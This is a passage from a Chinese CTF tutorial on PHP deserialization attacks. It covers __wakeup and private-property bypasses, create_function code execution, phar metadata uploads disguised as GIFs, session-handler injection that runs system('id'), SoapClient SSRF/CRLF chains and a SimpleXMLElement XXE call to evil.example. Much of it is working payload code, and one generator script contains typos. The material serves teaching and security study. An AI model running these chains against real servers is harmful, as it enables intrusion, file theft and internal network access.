if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
我们需要传入 username = admin,password = 100,于是构造反序列化
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
还没有结束,因为类的两个属性声明为 private,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见
所以要在此基础上补上 %00
最后是绕过 __wakeup()
当反序列化中对象属性的个数和真实的个数不等时,__wakeup() 就会被绕过,所以修改使其不相等即可

PHP \00 绕过 Private¶

打开网页给出了源码
<?php
if (isset($_GET['p'])) {
$p = unserialize($_GET['p']);
}
show_source("index.php");
class Noteasy
{
private $a;
private $b;
// 构造函数,会在类的对象在创建时自动调用
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a.$b);
eval($a.$b);
}
// 析构函数,在对象销毁时自动调用
public function __destruct()
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a("", $b);
}
private function check($str)
{
if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
}
public function setAB($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
首先,反序列化不调用构造函数
因为反序列化时通过读取对象的字节流来恢复对象的状态,而不是通过调用对象的构造函数来创建对象
所以直接来看析构函数
public function __destruct()
{
// 将属性 $a 转换为字符串
$a = (string)$this->a;
// 将属性 $b 转换为字符串
$b = (string)$this->b;
// 调用 check 方法,传入 $a 和 $b 连接后的字符串
$this->check($a.$b);
// 重点代码
// 将 $a 作为函数调用,第一个参数为空字符串,第二个参数为 $b
$a("", $b);
}
但是空的的函数不能执行,所以我们要构造一个
这里要利用 Create_function() 函数
create_function 实际上会在内部执行以下操作:
- 生成一个唯一的函数名(如
__lambda_func) - 用给定的参数和代码体创建一个新函数
- 返回这个函数名以便后续调用
构造序列化代码
<?php
Class Noteast{
Private $a;
Private $b;
Public function_construct($a,$b){
$this->a=$a;
$this->b=$b;
}
$object=new Noteasy("create_function",';}highlight_file("/flag");/*;');
Echo serialize($object);
}
这样相当于
实际创建的代码为
得到
O:7:"Noteasy":2:{s:10:"Noteasya";s:15:"create_function";s:10:"Noteasyb";s:21:';}highlight_file("/flag");/*;";}
需要注意因为是 private 属性,所以不能直接使用
应该为 \00类名\00
O:7:"Noteasy":2:{s:10:"\00Noteasy\00a";s:15:"create_function";s:10:"\00Noteasy\00b";s:29:";}highlight_file("/flag");/*";}

进阶利用方式¶
前面讲的都是代码里直接调用 unserialize() 的场景。但实际题目里经常找不到 unserialize(),这时候就要用到下面三种"间接触发"的打法:phar 反序列化、session 反序列化和原生类反序列化。
phar 反序列化¶
phar 是什么¶
phar(PHP Archive)是 PHP 的一种打包格式,可以把多个 PHP 文件打成一个 .phar 压缩包分发,类似于 Java 的 jar 包。一个 phar 文件由四部分组成:
- stub:phar 的引导代码,必须以
__HALT_COMPILER(); ?>结尾。前面的内容可以随意——这就是关键,我们可以把 stub 部分伪装成一张正常的图片(比如GIF89a开头)来骗过文件上传的 MIME 检测。 - manifest:存放每个文件的元数据(metadata)。这里的元数据是被
serialize()序列化过的。 - contents:被打包文件的原始内容。
- signature:签名(可选)。
重点在第二部分:PHP 在解析 phar 文件时,会把 manifest 里的 metadata 反序列化。也就是说,只要我们能控制某个 phar 文件的 metadata(把恶意对象塞进去),再让服务器用 phar:// 协议访问这个文件,就会触发反序列化——全程不需要 unserialize()。
触发条件¶
- 目标存在可以控制的文件(通常通过文件上传把构造好的 phar 传上去)。
- 目标代码存在接收文件路径的函数,且参数可控,能传
phar://协议。 phar扩展开启(默认开启),且phar.readonly=Off(仅生成 phar 时需要,攻击目标不需要)。
能触发反序列化的不只是 file_exists(),几乎所有接受路径的函数都可以,常见的有:
file_exists('phar://uploads/test.jpg/a.txt');
file_get_contents('phar://uploads/test.jpg/a.txt');
file_put_contents('phar://uploads/test.jpg/a.txt', $data);
fopen('phar://uploads/test.jpg/a.txt', 'r');
copy('phar://uploads/test.jpg/a.txt', '/tmp/copy.txt');
rename('phar://uploads/test.jpg/a.txt', '/tmp/renamed.txt');
is_dir('phar://uploads/test.jpg');
include 'phar://uploads/test.jpg/a.txt';
只要这些函数的参数里出现 phar:// 且指向我们上传的文件,metadata 就会被反序列化,魔术方法随之触发。
构造 phar¶
PHP 提供了 Phar 类来生成 phar 文件,配合 setMetadata() 写入恶意对象:
<?php
// 生成用的类定义,要与目标站点中的类名和属性名完全一致
class Evil {
public $cmd = "cat /flag";
}
// phar 文件不能覆盖已存在的文件,先删掉
@unlink("evil.phar");
$phar = new Phar("evil.phar");
$phar->startBuffering();
// stub:伪装成 GIF 文件头,绕过 MIME 检测
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
// 把恶意对象写进 metadata
$obj = new Evil();
$phar->setMetadata($obj);
// 随便添加一个文件内容,必须有内容否则文件结构不完整
$phar->addFromString("test.txt", "hello");
$phar->stopBuffering();
?>
运行后得到 evil.phar,把它重命名成 evil.jpg 再上传。因为 stub 部分是 GIF89a 开头,能过掉大部分基于文件头的类型检测(文件上传的绕过思路见「文件上传」章节)。
注意几点:
- 生成脚本要在
php.ini里设置phar.readonly = Off,或者用php -d phar.readonly=0 gen.php运行。 - 类定义需要和目标站点一致(包括命名空间),否则反序列化出来的只是
__PHP_Incomplete_Class。 - 如果目标对上传文件做了二次渲染(如用 GD 库
imagecreatefromjpeg重新生成),phar 结构会被破坏,需要用"找一张被渲染后字节不变的图片"等进阶技巧,初学者先掌握基本场景即可。
例题思路¶
看一个典型的组合题(假设题目提供源码):
<?php
// upload.php:把上传文件存到 uploads/ 目录
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
echo 'uploads/' . $_FILES['file']['name'];
?>
<?php
// check.php
highlight_file(__FILE__);
class Flag {
public $file;
public function __destruct() {
echo file_get_contents($this->file);
}
}
if (isset($_GET['path'])) {
if (file_exists($_GET['path'])) {
echo "file exists!";
}
}
?>
完整解题过程:
- 审代码发现
check.php里file_exists()参数完全可控,且存在Flag::__destruct()这个危险魔术方法——这是典型的 phar 反序列化入口。 - 本地写生成脚本,把
Flag类的$file设为/flag,生成 phar 并改名为evil.jpg。 - 通过
upload.php上传evil.jpg,得到路径uploads/evil.jpg。 - 访问
check.php?path=phar://uploads/evil.jpg/test.txt。file_exists()解析 phar 时反序列化 metadata,还原出Flag对象;脚本结束时对象销毁,__destruct()读取并输出/flag。
这类题的本质是:文件上传负责"送货",文件操作函数负责"点火",两步配合才能完成反序列化。
session 反序列化¶
session 的存储与 serialize_handler¶
PHP 的 session 默认保存在文件里(如 /var/lib/php/sessions/sess_xxxx),内容就是把 $_SESSION 序列化后的字符串。序列化方式由 session.serialize_handler 决定,有三种:
| handler | 存储格式示例 | 说明 |
|---|---|---|
php |
name\|s:5:"admin"; |
键名和值之间用竖线 \| 分隔 |
php_binary |
\x04name + s:5:"admin"; |
键名长度用二进制字节表示 |
php_serialize |
a:1:{s:4:"name";s:5:"admin";} |
整个数组直接 serialize() |
漏洞出在:写入 session 和读取 session 用的是不同的 handler。比如一个页面用 php_serialize 写入,另一个页面用默认的 php 读取。
当用 php handler 读取时,\| 之前的部分会被当成"键名",之后的部分才会被 unserialize()。所以如果我们能往 session 里写入一个以 | 开头的序列化字符串:
php_serialize 会把它整体当作一个普通字符串存进去:
而 php handler 读取时,以第一个 \| 为分界,后面那串 O:4:"Evil"... 就被当成真正的序列化数据反序列化了——漏洞触发。
例题思路¶
<?php
// index.php —— 写入 session,使用 php_serialize
ini_set('session.serialize_handler', 'php_serialize');
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
?>
<?php
// flag.php —— 读取 session,使用默认的 php handler
session_start();
class Evil {
public $cmd = 'echo "nothing";';
public function __destruct() {
eval($this->cmd);
}
}
?>
解题过程:
- 访问
index.php?name=|O:4:"Evil":1:{s:3:"cmd";s:13:"system("id");";},session 文件里写入了带\|前缀的 payload。 - 访问
flag.php,它用phphandler 解析同一个 session 文件,把\|后的内容反序列化,Evil::__destruct()中的eval()执行了我们的命令。
如果题目把 payload 里的双引号转义了,可以改用十六进制字符串 S:3:"\63\61\74" 之类的写法绕过。
session.upload_progress 配合 LFI¶
前面的打法要求"能控制写入 session 的值"。如果没有这种接口,但存在 文件包含 漏洞,还有一个更通用的技巧:利用 session.upload_progress(PHP 5.4+ 默认开启)。
原理:当 PHP 处理文件上传时,会把上传进度写进 session 文件,键名为 upload_progress_123(123 来自表单里 PHP_SESSION_UPLOAD_PROGRESS 字段的值),而这个字段的值是 我们可控的,且会被原样写进 session 文件。配合 LFI 包含这个 session 文件,就能执行代码。
利用条件:
- 目标存在 LFI(文件包含,见「文件包含」章节)。
- 能拿到
PHPSESSID(自己带一个 Cookie 即可)。 session.upload_progress.enabled = On(默认开启)。
构造一个上传表单(也可以直接用脚本发 multipart 请求):
<form action="http://target/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS"
value="<?php phpinfo(); ?>" />
<input type="file" name="file" />
<input type="submit" />
</form>
上传后,session 文件 /var/lib/php/sessions/sess_<PHPSESSID> 中会包含:
然后包含它:
即可执行 phpinfo()。注意两点:
- session 文件在上传处理完成后可能被清理(
session.upload_progress.cleanup = On时),实际比赛常用 条件竞争:一边不停上传,一边不停包含。 - session 内容会经过
urlencode式的转义处理,<?php phpinfo(); ?>这类短标签通常不受影响,但复杂 payload 可能需要 base64 编码后用php://filter解码。
原生类反序列化¶
前面的利用都要求目标代码里定义了带有危险魔术方法的类。如果目标没有定义任何可用类,还有一条路:利用 PHP 内置的原生类。这些类不需要题目定义,反序列化时可以直接还原。
用 Error / Exception 绕过哈希比较¶
Error 和 Exception 类在比较时会把完整报错信息(含文件路径、行号)转成字符串。当题目用 md5($a) === md5($b) 之类比较两个对象时,构造两个内容完全相同的 Exception 对象即可绕过,常用于 __wakeup() 里的校验绕过。
SoapClient 打 SSRF / CRLF¶
SoapClient 是 PHP 内置的 SOAP 客户端类,需要 php-soap 扩展。它有一个非常关键的行为:调用一个不存在的方法时,会真正把 SOAP 请求发出去(本质是 __call() 的实现里发起了 HTTP 请求)。
<?php
$a = new SoapClient(null, array(
'location' => 'http://127.0.0.1:8080/admin',
'uri' => 'http://127.0.0.1:8080/'
));
$a->notExistFunction(); // 触发请求
?>
当反序列化链的终点是"调用某个对象不存在的方法"(即触发 __call)时,把这个对象换成 SoapClient,就能向内网发起请求——这就是 SSRF(配合思路见「SSRF注入」章节)。
更进一步,user_agent 参数可控且没有过滤换行,可以注入 CRLF 构造完整的 POST 请求:
<?php
$target = 'http://127.0.0.1/flag.php';
$ua = "test\r\nContent-Type: application/x-www-form-urlencoded\r\n"
. "Content-Length: 13\r\n\r\ntoken=ctfshow";
$a = new SoapClient(null, array(
'location' => $target,
'user_agent' => $ua,
'uri' => 'test'
));
echo serialize($a);
?>
反序列化后再想办法触发一次不存在方法的调用(很多题目的链里本身就有 __call 终点),SoapClient 就会带着我们伪造的头部访问内网接口。
SimpleXMLElement 打 XXE¶
SimpleXMLElement 的构造函数支持三个参数:XML 数据、选项、以及一个布尔值 data_is_url。当第三个参数为 true 时,第一个参数会被当作 URL 读取:
<?php
// 反序列化链触发 __construct 或 new 时
$a = new SimpleXMLElement(
'http://evil.example/xxe.xml',
LIBXML_NOENT, // 解析外部实体
true // 把第一个参数当作 URL
);
?>
如果题目能在反序列化过程中实例化可控参数的类(比如通过 __wakeup 里的 $class = new $this->className($this->arg1, $this->arg2, $this->arg3);),就可以指定 SimpleXMLElement 发起 XXE 攻击,读取本地文件(XXE 的细节见「XXE注入」章节)。
ZipArchive 删文件¶
ZipArchive::open() 如果以 ZipArchive::OVERWRITE 方式打开一个不存在的文件,在某些版本下配合 ZipArchive::FL_NOCASE 等 flag 会产生副作用;更常见的是利用 SplFileObject、DirectoryIterator 等读目录/读文件的原生类。例如 SplFileObject 反序列化后被当作字符串输出时,可以读取目标文件内容,常用于"没有读取接口,只有 echo 对象"的场景。
例题思路(SoapClient 打内网)¶
<?php
highlight_file(__FILE__);
class Show {
public $source;
public $str;
public function __toString() {
return $this->str->source; // __get
}
public function __wakeup() {
echo $this->source; // __toString
}
}
class Test {
public $p;
public function __get($key) {
$f = $this->p;
return $f(); // __invoke
}
}
class Hello {
public $func;
public function __invoke() {
call_user_func([$this->func, 'hello']); // 调用不存在的方法 → __call
}
}
unserialize($_GET['data']);
?>
这条链的终点是 call_user_func([$this->func, 'hello'])——hello 方法不存在,如果 $this->func 是一个 SoapClient 对象,就会触发 SoapClient::__call 发出请求。构造 payload:
<?php
$soap = new SoapClient(null, array(
'location' => 'http://127.0.0.1/flag',
'uri' => 'test'
));
$hello = new Hello();
$hello->func = $soap;
$test = new Test();
$test->p = $hello;
$show = new Show();
$show->str = $test;
$outer = new Show();
$outer->source = $show;
echo urlencode(serialize($outer));
?>
调用链为 __wakeup → __toString → __get → __invoke → SoapClient::__call,最终向内网 http://127.0.0.1/flag 发起 SOAP 请求。由于 SoapClient 的请求回显一般看不到,实战中常配合 CRLF 注入把请求改成能带出数据的接口,或者打内网里"访问即执行"的端点。
小结¶
- 找不到
unserialize()时,想 phar 和 session;找不到可用类时,想原生类。 - 做题前先确认环境:有没有
phar、soap、libxml扩展,session.serialize_handler是什么,session.upload_progress是否开启——phpinfo()页面往往就是题目故意给的。